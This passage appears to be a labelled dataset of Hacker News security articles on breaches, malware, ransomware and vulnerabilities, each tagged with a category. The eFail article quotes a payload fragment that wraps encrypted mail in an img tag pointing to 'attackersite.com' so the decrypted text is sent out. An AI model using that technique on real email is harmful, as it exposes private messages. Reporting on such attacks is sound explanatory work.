Besides your changing password, you are also recommended to enable two-factor authentication for your Slack accounts, even if you are not affected.
Slack is still investigating the latest security incident and promises to share more information as soon as they are available.
| Cyber_Attack |
Thousands of WordPress Sites Hacked Using Recently Disclosed Vulnerability | https://thehackernews.com/2017/02/wordpress-hack-seo.html | Last week, we reported about a critical zero-day flaw in WordPress that was silently patched by the company before hackers have had their hands on the nasty bug to exploit millions of WordPress websites.
To ensure the security of millions of websites and its users, WordPress delayed the vulnerability disclosure for over a week and worked closely with security companies and hosts to install the patch, ensuring that the issue was dealt with in short order before it became public.
But even after the company's effort to protect its customers, thousands of admins did not bother to update their websites, which are still vulnerable to the critical bug and has already been exploited by hackers.
While WordPress includes a default feature that automatically updates unpatched websites, some admins running critical services disable this feature for first testing and then applying patches.
Even the news blog of one of the famous Linux distribution OpenSUSE (news.opensuse.org) was also hacked, but restored immediately without breach of any other part of openSUSE's infrastructure, CIO reports.
The vulnerability resided in Wordpress REST API that would lead to the creation of new flaws, allowing an unauthenticated attacker to delete pages or modify all pages on unpatched websites and redirect their visitors to malicious exploits and a large number of attacks.
The security researcher at Sucuri, who privately disclosed the flaw to WordPress, said they started noticing the attacks leveraging this bug less than 48 hours after disclosure. They noticed at least four different campaigns targeting still unpatched websites.
In one such campaign, hackers were successful in replacing the content of over 66,000 web pages with "Hacked by" messages. Rest campaigns have targeted roughly 1000 pages in total.
Besides defacing websites, such attacks appear to be carried out mostly for black hat SEO campaign in order to spread spam and gain ranking in search engine, which is also known as search engine poisoning.
"What we expect to see is a lot more SEO spam (Search Engine Poisoning) attempts moving forward," explained Daniel Cid, CTO, and founder of Sucuri.
"There's already a few exploit attempts that try to add spam images and content to a post. Due to the monetization possibilities, this will likely be the #1 route to abuse this vulnerability."
So, site administrators who have not yet updated their websites to the latest WordPress release 4.7.2 are urged to patch them immediately before becoming next target of SEO spammers and hackers.
| Cyber_Attack |
Experts Unveil Cyber Espionage Attacks by CopyKittens Hackers | https://thehackernews.com/2017/07/opykittens-cyber-espionage.html | Security researchers have discovered a new, massive cyber espionage campaign that mainly targets people working in government, defence and academic organisations in various countries.
The campaign is being conducted by an Iran-linked threat group, whose activities, attack methods, and targets have been released in a joint, detailed report published by researchers at Trend Micro and Israeli firm ClearSky.
Dubbed by researchers CopyKittens (aka Rocket Kittens), the cyber espionage group has been active since at least 2013 and has targeted organisations and individuals, including diplomats and researchers, in Israel, Saudi Arabia, Turkey, the United States, Jordan and Germany.
The targeted organisations include government institutions like Ministry of Foreign Affairs, defence companies, large IT companies, academic institutions, subcontractors of the Ministry of Defense, and municipal authorities, along with employees of the United Nations.
The latest report [PDF], dubbed "Operation Wilted Tulip," details an active espionage campaign conducted by the CopyKittens hackers, a vast range of tools and tactics they used, its command and control infrastructure, and the group's modus operandi.
How CopyKittens Infects Its Targets
The group used different tactics to infiltrate their targets, which includes watering hole attacks — wherein JavaScript code is inserted into compromised websites to distribute malicious exploits.
The news media and organisations whose websites were abused as watering hole attacks include The Jerusalem Post, for which even German Federal Office for Information Security (BSI) issued an alert, Maariv news and IDF Disabled Veterans Organization.
Besides water hole attacks, CopyKittens also used other methods to deliver malware, including:
Emailed links to malicious websites controlled by attackers.
Weaponized Office documents exploiting recently discovered flaw (CVE-2017-0199).
Web servers exploitation using vulnerability scanner and SQLi tools like Havij, sqlmap, and Acunetix.
Fake social media entities to build trust with targets and potentially spread malicious links.
"The group uses a combination of these methods to persistently target the same victim over multiple platforms until they succeed in establishing an initial beachhead of infection – before pivoting to higher value targets on the network," Trend Micro writes in a blog post.
In order to infect its targets, CopyKittens makes use of its own custom malware tools in combination with existing, commercial tools, like Red Team software Cobalt Strike, Metasploit, post-exploitation agent Empire, TDTESS backdoor, and credential dumping tool Mimikatz.
Dubbed Matryoshka, the remote access trojan is the group's self-developed malware which uses DNS for command and control (C&C) communication and has the ability to steal passwords, capture screenshots, record keystrokes, collect and upload files, and give the attackers Meterpreter shell access.
"Matryoshka is spread through spear phishing with a document attached to it. The document has either a malicious macro that the victim is asked to enable or an embedded executable the victim is asked to open," Clear Sky says in a blog post.
The initial version of the malware was analysed in 2015 and seen in the wild from July 2016 until January 2017, though the group also developed and used Matryoshka version 2.
Users are recommended to enable two-factor authentication in order to protect their webmail accounts from being compromised, which is a treasure trove of information for hackers, and an "extremely strong initial beachhead" for pivoting into other targets.
| Cyber_Attack |
Millions of DSL modems hacked in Brazil, spread banking malware | https://thehackernews.com/2012/10/millions-of-dsl-modems-hacked-in-brazil.html | More than 4.5 million DSL modems have been compromised as part of a sustained hacking campaign in Brazil, with the devices spreading malware and malicious web address redirects.
According to the malware analyst at Kaspersky Lab in Brazil, Fabio Assolini. The vulnerability exploited by attackers allowed the use of a script to steal passwords and remotely access the configuration of modems. The attacks was described as "One firmware vulnerability, two malicious scripts, three hardware manufacturers, 35 malicious DNS servers, thousands of compromised ADSL modems, millions of victims."
According to Kaspersky, the Brazilian attackers sought to steal users' banking credentials by redirecting users to false versions of popular sites like Facebook or Google and prompting them to install malware. Some 40 DNS servers were set up outside Brazil too in order to serve forged requests for domain names belonging to Brazilian banks.
Nakedsecurity writes,-- The first thing users may have noticed is that they would visit legitimate websites such as Google, Facebook and Orkut (a Google social network which is particularly popular in Brazil) and would be prompted to install software. In the example below, visitors to Google.com.br were invited to install a program called "Google Defence" in order to access the "new Google".
It remains unclear which modem manufacturers and models are susceptible to the attacks. Assolini said a vulnerability disclosed in early 2011 appears to be caused by a chipset driver included with modems that use hardware from communications chip provider Broadcom. It allows a CSRF attack to take control of the administration panel and capture the password set on vulnerable devices.
After manufacturers issued firmware updates to plug the security hole, the number of compromised modems reduced. However, some 300,000 modems are still thought to be controlled by attackers.
| Malware |
Yahoo Mail hacked; Change your account password immediately | https://thehackernews.com/2014/01/yahoo-mail-hacked-change-your-account.html | A really bad year for the world's second-largest email service provider, Yahoo Mail! The company announced today, 'we identified a coordinated effort to gain unauthorized access to Yahoo Mail accounts', user names and passwords of its email customers have been stolen and are used to access multiple accounts.
Yahoo did not say how many accounts have been affected, and neither they are sure about the source of the leaked users' credentials. It appears to have come from a third party database being compromised, and not an infiltration of Yahoo's own servers.
"We have no evidence that they were obtained directly from Yahoo's systems. Our ongoing investigation shows that malicious computer software used the list of usernames and passwords to access Yahoo Mail accounts. The information sought in the attack seems to be names and email addresses from the affected accounts' most recent sent emails."
For now, Yahoo is taking proactive actions to protect their affected users, "We are resetting passwords on impacted accounts and we are using second sign-in verification to allow users to re-secure their accounts. Impacted users will be prompted (if not, already) to change their password and may receive an email notification or an SMS text if they have added a mobile number to their account."
People frequently use the same passwords on multiple accounts, so possibly hackers are brute-forcing Yahoo accounts with the user credentials stolen from other data breaches.
Yahoo users can prevent account hijacks by using a strong and unique password. You can use 'Random strong password generator' feature of DuckDuckGo search engine to get a unique & strong password.
Users are also recommended to enable two-factor authentication, which requires a code texted to the legitimate user's mobile phone whenever a login attempt is made from a new computer.
Yahoo! was hacked in July 2012, with attackers stealing 450,000 email addresses and passwords from a Yahoo! contributor network.
Readers can also download two free Whitepaper related to the Email and account security:
Cloud-Based Email Archiving
Email Data Loss Prevention
Well, Yahoo is now working with federal law enforcement as a part of its investigation.
| Data_Breaches |
Cyber jihadists could use Stuxnet worm to attack the west ! | https://thehackernews.com/2011/04/cyber-jihadists-could-use-stuxnet-worm.html | Cyber jihadists could use Stuxnet worm to attack the west !
ACCORDING TO Mikko Hypponen, F-Secure's chief security researcher, there has been a revolution in malware with Stuxnet. "The worst case scenario is that Al-Qaeda or another organisation could gain access to this type of knowledge and information, and make use of it to launch attacks on critical infrastructure – like blow up nuclear power plants or do something to our food chain."
| Malware |
New Ransomware Not Just Encrypts Your Android But Also Changes PIN Lock | https://thehackernews.com/2017/10/android-ransomware-pin.html | DoubleLocker—as the name suggests, it locks device twice.
Security researchers from Slovakia-based security software maker ESET have discovered a new Android ransomware that not just encrypts users' data, but also locks them out of their devices by changing lock screen PIN.
On top of that:
DoubleLocker is the first-ever ransomware to misuse Android accessibility—a feature that provides users alternative ways to interact with their smartphone devices, and mainly misused by Android banking Trojans to steal banking credentials.
"Given its banking malware roots, DoubleLocker may well be turned into what could be called ransom-bankers," said Lukáš Štefanko, the malware researcher at ESET.
"Two-stage malware that first tries to wipe your bank or PayPal account and subsequently locks your device and data to request a ransom."
Researchers believe DoubleLocker ransomware could be upgraded in future to steal banking credentials as well, other than just extorting money as ransom.
First spotted in May this year, DoubleLocker Android ransomware is spreading as a fake Adobe Flash update via compromised websites.
Here's How the DoubleLocker Ransomware Works:
Once installed, the malware requests user for the activation of 'Google Play Services' accessibility feature, as shown in the demonstration video.
After obtaining this accessibility permission, the malware abuses it to gain device's administrator rights and sets itself as a default home application (the launcher)—all without the user's knowledge.
"Setting itself as a default home app – a launcher – is a trick that improves the malware's persistence," explains Štefanko.
"Whenever the user clicks on the home button, the ransomware gets activated, and the device gets locked again. Thanks to using the accessibility service, the user does not know that they launch malware by hitting Home."
Once executed, DoubleLocker first changes the device PIN to a random value that neither attacker knows nor stored anywhere and meanwhile the malware encrypts all the files using AES encryption algorithm.
DoubleLocker ransomware demands 0.0130 BTC (approximately USD 74.38 at time of writing) and threatens victims to pay the ransom within 24 hours.
If the ransom is paid, the attacker provides the decryption key to unlock the files and remotely resets the PIN to unlock the victim's device.
How to Protect Yourself From DoubleLocker Ransomware
According to the researchers, so far there is no way to unlock encrypted files, though, for non-rooted devices, users can factory-reset their phone to unlock the phone and get rid of the DoubleLocker ransomware.
However, for rooted Android devices with debugging mode enabled, victims can use Android Debug Bridge (ADB) tool to reset PIN without formatting their phones.
The best way to protect yourself from avoiding falling victims to such ransomware attacks is to always download apps from trusted sources, like Google play Store, and stick to verified developers.
Also, never click on links provided in SMS or emails. Even if the email looks legit, go directly to the website of origin and verify any possible updates.
Moreover, most importantly, keep a good antivirus app on your smartphone that can detect and block such malware before it can infect your device, and always keep it and other apps up-to-date.
| Malware |
Former NSA software developer can Hack Surveillance cameras remotely | https://thehackernews.com/2013/06/former-nsa-software-developer-can-hack.html | A former NSA software developer is saying he has identified how major camera systems used by industrial plants, prisons, banks and the military could be hacked to freeze a frame and would allow hackers to spy on facilities or gain access to sensitive computer networks.
Craig Heffner, that there were zero day vulnerabilities in digital video surveillance equipment from firms, including Cisco Systems, D-Link and TRENDnet. He has discovered hundreds of thousands of surveillance cameras that can be accessed via the public Internet.
"Somebody could potentially access a camera and view it. Or they could also use it as a pivot point, an initial foothold, to get into the network and start attacking internal systems." Heffner said.
Wrost thing, probably NSA is also aware of these vulnerabilities. They could use it as a pivot point, an initial foothold, to get into the network and start attacking internal systems.
He said he doesn't plan on revealing the vulnerabilities to the companies ahead of the conference, but all the companies have expressed that they'll stay tuned to make any necessary fixes.
He plans to demonstrate techniques for exploiting these bugs at the Hacking conference, in July. He can freeze a picture on a surveillance camera to help thieves break into facilities without detection.
| Vulnerability |
Hackers Exploit SonicWall Zero-Day Bug in FiveHands Ransomware Attacks | https://thehackernews.com/2021/04/hackers-exploit-sonicwall-zero-day-bug.html | An "aggressive" financially motivated threat group tapped into a zero-day flaw in SonicWall VPN appliances prior to it being patched by the company to deploy a new strain of ransomware called FIVEHANDS.
The group, tracked by cybersecurity firm Mandiant as UNC2447, took advantage of an "improper SQL command neutralization" flaw in the SSL-VPN SMA100 product (CVE-2021-20016, CVSS score 9.8) that allows an unauthenticated attacker to achieve remote code execution.
"UNC2447 monetizes intrusions by extorting their victims first with FIVEHANDS ransomware followed by aggressively applying pressure through threats of media attention and offering victim data for sale on hacker forums," Mandiant researchers said. "UNC2447 has been observed targeting organizations in Europe and North America and has consistently displayed advanced capabilities to evade detection and minimize post-intrusion forensics."
CVE-2021-20016 is the same zero-day that the San Jose-based firm said was exploited by "sophisticated threat actors" to stage a "coordinated attack on its internal systems" earlier this year. On January 22, The Hacker News exclusively revealed that SonicWall had been breached by exploiting "probable zero-day vulnerabilities" in its SMA 100 series remote access devices.
Successful exploitation of the flaw would grant an attacker the ability to access login credentials as well as session information that could then be used to log into a vulnerable unpatched SMA 100 series appliance.
According to the FireEye-owned subsidiary, the intrusions are said to have occurred in January and February 2021, with the threat actor using a malware called SombRAT to deploy the FIVEHANDS ransomware. It's worth noting that SombRAT was discovered in November 2020 by BlackBerry researchers in conjunction with a campaign called CostaRicto undertaken by a mercenary hacker group.
UNC2447 attacks involving ransomware infections were first observed in the wild in October 2020, initially compromising targets with HelloKitty ransomware, before swapping it for FIVEHANDS in January 2021. Incidentally, both the ransomware strains, written in C++, are rewrites of another ransomware called DeathRansom.
"Based on technical and temporal observations of HelloKitty and FIVEHANDS deployments, HelloKitty may have been used by an overall affiliate program from May 2020 through December 2020, and FIVEHANDS since approximately January 2021," the researchers said.
FIVEHANDS also differs from DeathRansom and HelloKitty in the use of a memory-only dropper and additional features that allow it to accept command-line arguments and utilize Windows Restart Manager to close a file currently in use prior to encryption.
The disclosure comes less than two weeks after FireEye divulged three previously unknown vulnerabilities in SonicWall's email security software that were actively exploited to deploy a web shell for backdoor access to the victim. FireEye is tracking this malicious activity under the moniker UNC2682.
| Malware |
Here's How eFail Attack Works Against PGP and S/MIME Encrypted Emails | https://thehackernews.com/2018/05/efail-pgp-email-encryption.html | With a heavy heart, security researchers have early released the details of a set of vulnerabilities discovered in email clients for two widely used email encryption standards—PGP and S/MIME—after someone leaked their paper on the Internet, which was actually scheduled for tomorrow.
PGP and S/MIME are popular end-to-end encryption standards used to encrypt emails in a way that no one, not even the company, government, or cyber criminals, can spy on your communication.
Before explaining how the vulnerability works, it should be noted that the flaw doesn't reside in the email encryption standards itself; instead, it affects a few email clients/plugins that incorrectly implemented the technologies.
Dubbed eFail by the researchers, the vulnerabilities, as described in our previous early-warning article, could allow potential attackers to decrypt the content of your end-to-end encrypted emails in plaintext, even for messages sent in the past.
According to the paper released by a team of European security researchers, the vulnerabilities exist in the way encrypted email clients handle HTML emails and external resources, like loading of images, styles from external URLs.
Here's How the eFail Attack Works:
Email clients are usually configured to automatically decrypt the content of encrypted emails you receive, but if your client is also configured to load external resources automatically, attackers can abuse this behavior to steal messages in plaintext just by sending you a modified version of the same encrypted email content.
The attack vector requires injected plaintext into the encrypted mail, and then using the exploit, it will exfiltrate the originally encrypted data as soon as any recipient's mail client accesses (or decrypts) the message
It should be noted that to perform an eFail attack, an attacker must have access to your encrypted emails, which is then modified in the following way and send back to you in order to trick your email client into revealing the secret message to the remote attacker without alerting you.
As described in the proof-of-concept attack released by the researchers, the attacker uses one of the encrypted messages you are supposed to receive or might have already received and then turns it into a multipart HTML email message, as well as forges the return address, so it appears to come from the original sender.
In the newly composed email, the attacker adds an unclosed image tag, like this <img src="https://attackersite.com/ just before the encrypted content and ends it by adding the end of the image tag, like this: .jpg">, as clearly shown in the screenshot.
When your vulnerable email client receives this message, it decrypts the encrypted part of the message given in the middle, and then automatically tries to render the HTML content, i.e., the image tag with all the decrypted text as the new name of the image, as shown below.
Since your email client will try to load the image from the attacker-controlled server, the attacker can capture this incoming request, where the filename contains the full content of the original encrypted email in plaintext.
Although PGP has been designed to show you a warning note if the integrity of your email is compromised, a few email clients do not display these warnings, allowing any potential attackers to perform eFail attacks successfully.
How To Prevent Against eFail Attacks
Generally, it is a very tough job for an advisory to even intercept your encrypted emails, but for people desperately using email encryption always attract well-resourced and sophisticated attackers.
Ditching the use of PGP or S/MIME to prevent eFail attacks would be stupid advice, as it is quite easy to mitigate the reported issues.
Users can switch to a good email client that always shows a warning when the integrity of the emails is compromised and doesn't render HTML emails by default to prevent loading of external resources automatically.
Researchers also advise users to adopt an authenticated encryption algorithm for sensitive communication.
The research was conducted by a team of researchers, including Damian Poddebniak, Christian Dresen, Fabian Ising, and Sebastian Schinzel from Munster University of Applied Sciences; Jens Müller, Juraj Somorovsky, and Jörg Schwenk from Ruhr University Bochum; and Simon Friedberger from KU Leuven.
For more in-depth details on the attack technique, you can head on to this informational page about the eFail attack and the paper [PDF] titled, "Efail: Breaking S/MIME and OpenPGP Email Encryption using Exfiltration Channels," published by the researchers.
| Cyber_Attack |
Critical Flaws Found in Solar Panels Could Shut Down Power Grids | https://thehackernews.com/2017/08/solar-panel-power-grid.html | A Dutch security researcher has uncovered a slew of security vulnerabilities in an essential component of solar panels which could be exploited to cause widespread outages in European power grids.
Willem Westerhof, a cybersecurity researcher at Dutch security firm ITsec, discovered 21 security vulnerabilities in the Internet-connected inverters – an essential component of solar panel that turns direct current (DC) into alternating current (AC).
According to Westerhof, the vulnerabilities leave thousands of Internet-connected power inverters installed across Europe vulnerable.
Westerhof demonstrates that it is possible for hackers to gain control of a large number of inverters and switch them OFF simultaneously, causing an imbalance in the power grid that could result in power outages in different parts of Europe.
The vulnerabilities affect solar panel electricity systems, also known as photovoltaics (PV), made by German solar equipment company SMA, which if exploited in mass, could result in electrical grids getting knocked offline.
Westerhof's research, called the "Horus Scenario" – named after the Egyptian god of the sky, was first published in a Dutch newspaper Volkskrant, and now he launched a website detailing the vulnerabilities and how a digital attack could lead to terrible consequences.
According to the researcher, the attack causes due to an imbalance in the power grid. Since the power grid needs to maintain a constant balance between the supply of power and demand of power, an exceed in supply or demand could cause outages.
So, if an attacker manipulates the amount of PV power in a power grid at a particular time, an attacker could cause peaks or dips of several GigaWatts, causing a massive imbalance which may lead to large scale power outages.
For a country like Germany, where solar energy covers up to 50 percent of its power demand, such a devastating attack would instantly cause a significant power outage, which would adversely affect millions of people and cost governments billions of dollars.
To explain this scenario in real life, Westerhof analysed the PV inverters made by SMA and discovered 17 vulnerabilities, 14 of which received CVE IDs and CVSS scores ranging from 3 (Informational) to 9 (Critical).
"In the worst case scenario, an attacker compromises enough devices and shuts down all these devices at the same time causing threshold values to be hit" and "a 3 hour power outage across Europe, somewhere mid day on June is estimated to cause +/- 4.5 billion euros of damage," Westerhof writes.
Westerhof reported all the vulnerabilities to SMA in late 2016 and worked with the company, power grid regulators, and government officials to fix the issues and harden up the security of their systems.
More than six months later, the company patched the flaws in its kit and is rolling out patches to its customers, while power grid regulators and the government will discuss the findings at international conferences.
Luckily it was a white hat who discovered the flaws in the solar panel which could have caused a devastating effect on the entire nation. If it were a black hat, it could have resulted in massive power outages across Europe similar to the one suffered by Ukraine last year.
| Vulnerability |
Cisco Issues Warning Over IOS XR Zero-Day Flaw Being Targeted in the Wild | https://thehackernews.com/2020/09/cisco-issue-warning-over-ios-xr-zero.html | Cisco has warned of an active zero-day vulnerability in its router software that's being exploited in the wild and could allow a remote, authenticated attacker to carry out memory exhaustion attacks on an affected device.
"An attacker could exploit these vulnerabilities by sending crafted IGMP traffic to an affected device," Cisco said in an advisory posted over the weekend.
"A successful exploit could allow the attacker to cause memory exhaustion, resulting in instability of other processes. These processes may include, but are not limited to, interior and exterior routing protocols."
Although the company said it will release software fixes to address the flaw, it did not share a timeline for when it plans to make it available. The networking equipment maker said it became aware of attempts to exploit the flaw on August 28.
Tracked as CVE-2020-3566, the severity of the vulnerability has been rated "high" with a Common Vulnerability Scoring System score of 8.6 out of a maximum 10.
The bug affects all Cisco gear running its Internetwork Operating System (IOS) XR Software and stems from an issue in the Distance Vector Multicast Routing Protocol (DVMRP) feature that makes it possible for an adversary to send specially crafted Internet Group Management Protocol (IGMP) packets to the susceptible device in question and exhaust process memory.
IGMP is typically used to efficiently use resources for multicasting applications when supporting streaming content such as online video streaming and gaming. The flaw lies in the manner IOS XR Software queues these packets, potentially causing memory exhaustion and disruption of other processes.
While there are no workarounds to resolve the issue, Cisco recommends administrators to run the "show igmp interface" command to determine if multicast routing is enabled.
"If the output of 'show igmp interface' is empty, multicast routing is not enabled and the device is not affected by these vulnerabilities," the company said.
Additionally, admins can also check the system logs for signs of memory exhaustion and implement rate-limiting to reduce IGMP traffic rates to mitigate the risk.
Cisco didn't elaborate on how the attackers were exploiting this vulnerability and with what goal in mind.
But given that resource exhaustion attacks are also a form of denial-of-service attacks, it wouldn't be surprising if bad actors are leveraging the flaw to interfere with the regular functioning of the system.
| Vulnerability |
Adwind RAT Returns! Cross-Platform Malware Targeting Aerospace Industries | https://thehackernews.com/2017/07/adwind-rat-malware.html | Hackers and cyber criminals are becoming dramatically more adept, innovative, and stealthy with each passing day.
While other operating systems are more widely in use, cybercriminals have now shifted from traditional activities to more clandestine techniques that come with limitless attack vectors, support for cross platforms and low detection rates.
Security researchers have discovered that infamous Adwind, a popular cross-platform Remote Access Trojan written in Java, has re-emerged and currently being used to "target enterprises in the aerospace industry, with Switzerland, Austria, Ukraine, and the US the most affected countries."
Adwind — also known as AlienSpy, Frutas, jFrutas, Unrecom, Sockrat, JSocket, and jRat — has been in development since 2013 and is capable of infecting all the major operating systems, including Windows, Mac, Linux, and Android.
Adwind has several malicious capabilities including stealing credentials, keylogging, taking pictures or screenshots, data gathering and exfiltrate data. The trojan can even turn infected machines into botnets to abuse them for destructing online services by carrying out DDoS attacks.
Researchers from Trend Micro recently noticed a sudden rise in the number of Adwind infections during June 2017 — at least 117,649 instances in the wild, which is 107 percent more than the previous month.
According to a blog post published today, the malicious campaign was noticed on two different occasions.
First was observed on June 7 and used a link to divert victims to their .NET-written malware equipped with spyware capabilities, while the second wave was noticed on June 14 and used different domains hosting their malware and command-and-control servers.
Both waves eventually employed a similar social engineering tactic to trick victims into clicking the malicious links within a spam email that impersonate the chair of the Mediterranean Yacht Broker Association (MYBA) Charter Committee.
Once infected, the malware also collects system's fingerprints, along with the list of installed antivirus and firewall applications.
"It can also perform reflection, a dynamic code generation in Java. The latter is a particularly useful feature in Java that enables developers/programmers to dynamically inspect, call, and instantiate attributes and classes at runtime. In cybercriminal hands, it can be abused to evade static analysis from traditional antivirus (AV) solutions," the researchers wrote.
My advice for users to remain protected from such malware is always to be suspicious of uninvited documents sent over an email and never click on links inside those documents unless verifying the source.
Additionally, keep your systems and antivirus products up-to-date in order to protect against any latest threat.
| Malware |
A Patient Dies After Ransomware Attack Paralyzes German Hospital Systems | https://thehackernews.com/2020/09/a-patient-dies-after-ransomware-attack.html | German authorities last week disclosed that a ransomware attack on the University Hospital of Düsseldorf (UKD) caused a failure of IT systems, resulting in the death of a woman who had to be sent to another hospital that was 20 miles away.
The incident marks the first recorded casualty as a consequence of cyberattacks on critical healthcare facilities, which has ramped up in recent months.
The attack, which exploited a Citrix ADC CVE-2019-19781 vulnerability to cripple the hospital systems on September 10, is said to have been "misdirected" in that it was originally intended for Heinrich Heine University, according to an extortion note left by the perpetrators.
After law enforcement contacted the threat actors and informed them that they had encrypted a hospital, the operators behind the attack withdrew the ransom demand and provided the decryption key.
The case is currently being treated as a homicide, BBC News reported over the weekend.
Unpatched Vulnerabilities Become Gateway to Ransomware Attacks
Although several ransomware gangs said early on in the pandemic that they would not deliberately target hospitals or medical facilities, the recurring attacks prompted the Interpol to issue a warning cautioning hospitals against ransomware attacks designed to lock them out of their critical systems in an attempt to extort payments.
Weak credentials and VPN vulnerabilities have proven to be a blessing in disguise for threat actors to break into the internal networks of businesses and organizations, leading cybersecurity agencies in the U.S. and U.K. to publish multiple advisories about active exploitation of the flaws.
"The [Federal Office for Information Security] is becoming increasingly aware of incidents in which Citrix systems were compromised before the security updates that were made available in January 2020 were installed," the German cybersecurity agency said in an alert last week.
"This means that attackers still have access to the system and the networks behind it even after the security gap has been closed. This possibility is currently increasingly being used to carry out attacks on affected organizations."
The development also coincides with a fresh advisory from the U.K. National Cyber Security Centre (NCSC), which said it's observed an uptick in ransomware incidents targeting educational institutions at least since August 2020, while urging schools and universities to implement a "defence in depth" strategy to defend against such malware attacks.
Some of the affected institutions included Newcastle and Northumbria Universities, among others.
Citing Remote Desktop Protocol (RDP), vulnerable software or hardware, and email phishing as the three most common infection vectors, the agency recommended organizations to maintain up-to-date offline backups, adopt endpoint malware protection, secure RDP services using multi-factor authentication, and have an effective patch management strategy in place.
A Spike in Ransomware Infections
If anything, the ransomware crisis seems to be only getting worse. Historical data gathered by Temple University's CARE cybersecurity lab has shown that there have been a total of 687 publicly disclosed cases in the U.S. since 2013, with 2019 and 2020 alone accounting for more than half of all reported incidents (440).
Government facilities, educational institutions, and healthcare organizations are the most frequently hit sectors, as per the analysis.
And if 2020 is any indication, attacks against colleges and universities are showing no signs of slowing down.
Allan Liska, a threat intelligence analyst at Recorded Future, revealed there had been at least 80 publicly reported ransomware infections targeting the education sector to date this year, a massive jump from 43 ransomware attacks for the whole of 2019.
"Part of this change can be attributed to extortion sites, which force more victims to announce attacks," Liska said in a tweet. "But, in general, ransomware actors have more interest in going after colleges and universities, and they are often easy targets."
You can read more about NCSC's mitigation measures here. For more guidance on proofing businesses against ransomware attacks, head to US Cybersecurity Security and Infrastructure Security Agency's response guide here.
| Cyber_Attack |
Microsoft Release Security Intelligence Report ! | https://thehackernews.com/2011/05/microsoft-release-security-intelligence.html | Microsoft Release Security Intelligence Report !
The Security Intelligence Report (SIR) is an investigation of the current threat landscape.
It analyzes exploits, vulnerabilities, and malware based on data from over 600 million systems worldwide, as well as internet services, and three Microsoft Security Centers.
Volume 10 (SIR v10) is the most current edition covering 2010 and contains five sections:
Key Findings provides data and analysis produced by Microsoft security teams.
Reference Guide gives additional information for topics covered in the Key Findings.
Featured Intelligence spotlights the latest threat topic.
Global Threat Assessment provides deep dive telemetry by specific country or region.
Managing Risk offers methods for protecting your organization, software, and people.
Download Here
| Malware |
Secunia CSI 7.0 - Next generation Patch Management tool released | https://thehackernews.com/2013/09/Secunia-CSI-7-Patch-Management-tool_4.html | Cybercrime costs organizations millions of dollars and to protect business from the consequences of security breaches, vulnerability intelligence and patch management are basic necessities in the toolbox of any IT team, as emphasized by organizations like the SANS Institute and the National Institute of Standards and Technology under the US Department of Commerce (NIST).
The Secunia CSI 7.0 is the Total Package: Vulnerability Intelligence, Vulnerability Scanning with Patch Creation and Patch Deployment Integration.
To help IT teams counter the threat, vulnerability research company Secunia merges the in-house vulnerability expertise with a sophisticated patch management solution into the Secunia Corporate Software Inspector (CSI 7.0). The foundation of the Secunia CSI is a unique combination of vulnerability intelligence and vulnerability scanning, with patch creation and patch deployment integration.
The Secunia CSI integrates with Microsoft WSUS and System Center 2012 and third-party configuration management tools for easy deployment of third-party updates, making patching a simple and straight-forward process for all IT departments.
To make the solution flexible and suited to the processes of organizations of all sizes the new version, the Secunia CSI 7.0, comes with these new and improved features:
Smart Groups 2.0: Create Smart Groups designed to prioritize remediation efforts by filtering and segmenting data based on hosts, products or impact, and to receive alerts when a threat is detected;
User Management: Create user accounts with different roles and permissions;
Patch Configuration: get configurable patches out-of-the-box that can be easily customized to support your environment, for example to avoid desktop shortcuts or to disable auto-update for a program
Web Console (SaaS): Log in to the Secunia CSI from an internet browser for instant access to your data and reports - anywhere, at any time.
Password Policy Configuration: Determine and enforce the global password policy for your organization to comply with internal and external policies as well as to meet best-practice standards in your industry.
Live updates: get an immediate overview of how a new vulnerability affects your infrastructure, as soon as the advisory has been released by Secunia Research, based on your latest scan results
PSI for Android: Scan Android devices for vulnerabilities with the Secunia PSI for Android, and integrate it with the Secunia CSI to support your BYOD policy.
Secunia SC2012 Plugin 2.0 for CSI integration with Microsoft System Center 2012. This add-on makes it possible to deploy all third-party updates directly in Microsoft System Center 2012.
Zero-Day Vulnerability Support. The add-on includes SMS or email alerts, whenever a new zero-day vulnerability is discovered that affects the particular IT infrastructure. This add-on is designed for the select organizations that have a sufficiently sophisticated security apparatus to enable them to act on the zero-day threat intelligence.
Why vulnerability intelligence is a crucial aspect of patch management
In 2012, Secunia recorded a total of nearly 10,000 discovered vulnerabilities in software programs, and more than 1,000 vulnerabilities in the 50 most popular programs alone Most of these (86%) were discovered in third-party (non-Microsoft) programs, presenting IT teams with the huge challenge of how to retain control over increasingly complex infrastructures and user device autonomy and identify, acquire, install and verify patches for all applications in all systems.
As vulnerabilities are the root cause of security issues, understanding how to deal with them is a critical component of protecting any organization from security breaches. IT teams must know when a vulnerability is threatening the infrastructure, where it will have the most critical impact, what the right remediation strategy is and how to deploy it.
These aspects of risk assessment fall to IT Security and IT Operations respectively, and the two departments require different sets of tools to take strategic, pre-emptive action against vulnerabilities.
"The new Secunia CSI bridges the gap between the two sets of requirements. Security teams need vulnerability intelligence and scanning to assess risk in a constantly changing threat landscape, and IT operations need a patch management solution that is sufficiently agile to maintain security levels without an impairing daily performance," explains Morten R. Stengaard, Secunia CTO.
"The core of our solution is the vulnerability intelligence delivered by Secunia's renowned in-house Research Team, who test, verify, and validate public vulnerability reports, as well as conduct independent vulnerability research on a variety of products. No other patch management solution out there can provide this expertise. To deliver the intelligence to our customers, we have created a patch management solution which is constantly evolving, to meet the changing requirements of our users," says Morten R. Stengaard.
Flexibility is the driving force behind the Secunia CSI 7.0
To ensure that the Secunia CSI 7.0 is primed to work as a conduit to Secunia's powerful vulnerability intelligence, scanning and patch management solution, flexibility has been the driving force behind the development of the Secunia CSI 7.0.
"Each organization is unique, with its own processes, regulatory standards and security procedures, and the improvements to the Secunia CSI 7.0 enables IT teams to adapt and scale the solution to match the requirements of virtually any organization," says Morten R. Stengaard.
| Vulnerability |
10 year old girl hacker CyFi reveal her first zero-day in Game at #DefCon 19 | https://thehackernews.com/2011/08/10-year-old-girl-hacker-cyfi-reveal-her.html | 10 year old girl hacker CyFi reveal her first zero-day in Game at #DefCon 19
Another awesome day at DefCon 19 . Today a 10 year old Girl hacker - pseudonym CyFi revealed her zero-day exploit in games on iOS and Android devices that independent researchers have confirmed as a new class of vulnerability. The 10-year-old girl from California first discovered the flaw around January 2011 because she "started to get bored" with the pace of farm-style games.
About CyFi :
